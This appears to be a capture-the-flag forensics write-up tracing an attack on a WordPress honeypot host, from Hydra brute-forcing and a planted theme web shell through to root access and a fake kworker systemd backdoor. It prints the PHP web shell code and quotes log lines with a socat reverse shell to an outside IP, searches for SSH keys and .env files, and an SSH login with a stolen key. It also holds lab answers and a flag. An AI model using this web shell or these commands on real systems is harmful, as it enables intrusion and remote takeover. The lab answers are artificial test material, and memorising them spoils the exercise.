initial-access-pot

This box was a mix of classic attack techniques and subtle persistence tricks. The attacker started off with a brute-force attempt on a WordPress login page, escalated privileges using a poorly secured SSH key, and dropped a stealthy backdoor that blended into the system like it belonged there. Along the way, they disabled the honeypot, scanned the network, and even left behind a hidden systemd service for long-term access. Here’s how it all unfolded.

Which web page did the attacker attempt to brute force?

To figure out where the brute-force attack happened, I went straight to the Apache access logs. On WordPress sites, login attempts typically happen at /wp-login.php, and brute-force attacks will usually show up as a flood of POST requests to that endpoint.

I searched for all POST requests in the Apache access log using:

sudo grep -i "POST" /var/log/apache2/access.log

This immediately pulled up a series of requests from the IP address 167.172.41.141. All of them were targeting /wp-login.php, and all of them used the same user-agent string: “Mozilla/5.0 (Hydra)”. That’s a dead giveaway. Hydra is a well-known brute-force tool, and this user-agent string is commonly left unchanged when it’s used in default mode.

So, the attacker was clearly using Hydra to brute-force credentials on the WordPress login page. The endpoint they were hammering was /wp-login.php, which is the standard login interface for WordPress.

Answer: /wp-login.php

What is the absolute path to the backdoored PHP file?

After the brute-force activity, I noticed that the attacker eventually got a successful login. This was evident from a 302 Found HTTP response, which WordPress sends after a valid login to redirect users to the admin dashboard.

What came next was even more suspicious. There were POST requests to /wp-admin/theme-editor.php?file=404.php&theme=blocksy, the WordPress theme editor. This tool allows site admins to modify PHP files in an active theme through the browser — a convenient feature for legitimate customization, but a serious security risk in the wrong hands.

In this case, the attacker edited the 404.php file in the Blocksy theme. This is a clever move because 404.php is frequently triggered whenever a user visits a non-existent page. That makes it a good hiding spot for malicious code — it’s used often enough to justify activity but not usually scrutinized closely.

The code injected by the attacker effectively turned the 404.php page into a browser-based web shell:

if (isset($_GET['doing_wp_corn']) && $_GET['doing_wp_corn'] === "t") {
    echo '<form method="POST" style="width: 500px; max-width: fit-content; margin-left: auto; margin-right: auto;">
            <input type="text" name="cmd" style="width: 300px;">
            <input type="submit" value="Run">
          </form>';

    if (isset($_POST['cmd'])) {
        echo '<pre style="width: 500px; margin-left: auto; margin-right: auto; white-space:pre-line;">';
        system($_POST['cmd']);
        echo "</pre>";
    }
}

This creates a form where the attacker can input system commands and get the results right back in the browser. The trigger — a GET parameter called doing_wp_corn (a typo on purpose) — helps it fly under the radar by not matching typical patterns.

Answer: /var/www/html/wordpress/wp-content/themes/blocksy/404.php

Which file path allowed the attacker to escalate to root?

Once the attacker gained initial access, they moved to escalate privileges. I examined execution logs captured by auditd, which had already been configured with a custom rule to log all executed commands.

sudo ausearch -k exec -i | grep 'proctitle' | awk -F'proctitle=' '{print $2}'

sh -c -- id 
id 
sh -c -- pwd 
sh -c -- uname -a 
uname -a 
sh -c -- which socat 
/bin/sh /usr/bin/which socat 
sh -c -- socat TCP:167.172.41.141:17001 EXEC:bash,pty,stderr 
socat TCP:167.172.41.141:17001 EXEC:bash,pty,stderr 
socat TCP:167.172.41.141:17001 EXEC:bash,pty,stderr 
socat TCP:167.172.41.141:17001 EXEC:bash,pty,stderr 
socat TCP:167.172.41.141:17001 EXEC:bash,pty,stderr 
socat TCP:167.172.41.141:17001 EXEC:bash,pty,stderr 
groups 
python3 -c import pty; pty.spawn("/bin/bash") 
/bin/bash 
groups 
ls -la / 
ls -la /opt 
find /usr -perm -4000 
crontab -l 
cat /etc/crontab 
find /etc /home -name .env 
find /etc /home -name id_rsa* 
find /etc /home -name id_ed25519* 
cat /etc/ssh/id_ed25519.bak 
ls /tmp/ 
cp /etc/ssh/id_ed25519.bak /tmp/key 
chmod 400 /tmp/key 
ssh -o StrictHostKeyChecking=no -i /tmp/key root@localhost 

The logs revealed the attacker first ran reconnaissance commands — things like id, uname -a, and which socat — to understand the environment. Seeing socat installed, they used it to pop a reverse shell:

socat TCP:167.172.41.141:17001 EXEC:bash,pty,stderr

This established a remote shell back to their system. From there, they used Python to upgrade it to an interactive TTY with:

python3 -c 'import pty; pty.spawn("/bin/bash")'

They began looking for sensitive files — scanning for private keys and .env files across /etc and /home. Their search paid off when they discovered a private SSH key backup located at /etc/ssh/id_ed25519.bak.

This file was readable by the current user — a major misconfiguration — and apparently still valid for SSH login as root. The attacker copied it, changed its permissions, and used it to SSH into localhost as root:

ssh -o StrictHostKeyChecking=no -i /tmp/key root@localhost

So, privilege escalation wasn’t achieved through a kernel exploit or binary misconfiguration — just a sloppy backup key with insecure permissions.

Answer: /etc/ssh/id_ed25519.bak

Which IP was port-scanned after the privilege escalation?

After escalating to root, the attacker began enumerating the internal network. I pulled the root user’s bash history using:

sudo cat /root/.bash_history

Among the commands listed, there was a clear sequence: first checking .ssh/authorized_keys, then investigating deceptipot files, followed by disabling the honeypot process entirely with kill. Then came network discovery — a ping sweep of the local subnet and a targeted scan of the IP 172.16.8.216.

The attacker was looking for reachable hosts and open services, and that IP was singled out for closer inspection — likely as a follow-up target in their lateral movement phase.

Answer: 172.16.8.216

What is the MD5 hash of the malware persisting on the host?

Persistence didn’t show up in the usual places. Cron jobs, bash profiles, and common startup folders were clean. So I took a look at systemd, which is increasingly used by attackers to maintain access.

Running ls -lt /etc/systemd/system showed most entries were from June 10 — except for one: kworker.service, dated March 31. That timestamp is suspicious because it’s out of sync with everything else. Timestamp tampering is a well-known evasion trick.

Looking inside kworker.service, it was clear something wasn’t right. The service pretended to be a kernel process:

[Unit]
Description=Kernel Hard Worker
After=multi-user.target

[Service]
Type=simple
ExecStart=/usr/sbin/kworker
Restart=always

[Install]
WantedBy=multi-user

But kworker is normally a kernel thread — not a user-space binary running as a systemd service. I checked whether this file belonged to any legitimate package:

dpkg -S /usr/sbin/kworker

It returned nothing. That confirmed it wasn’t installed by any package manager. Finally, running the binary showed it was waiting for remote connections — acting as a persistent backdoor.

Answer: d6f2d80e78f264aff8c7aea21acb6ca6

Can you access the DeceptiPot in recovery mode?

Accessing DeceptiPot’s recovery mode usually requires a valid recovery key, which should be kept secret. Trying to launch the honeypot in recovery mode without one prompts for authentication.

Earlier in the investigation, while going through the bash history, I noticed the original administrator had downloaded and configured DeceptiPot manually. One command stuck out:

nano deceptipot.conf

I opened this configuration file and found the recovery key stored in plain text:

[security]
reckey = Em1lyR0ss_DeCePti!
debugmode = true

With that key, I launched the tool in recovery mode and gained access immediately. This confirmed that the recovery key wasn’t encrypted or otherwise protected — a simple config file lookup was enough.

Answer: THM{acc3ss_gr4nt3d!}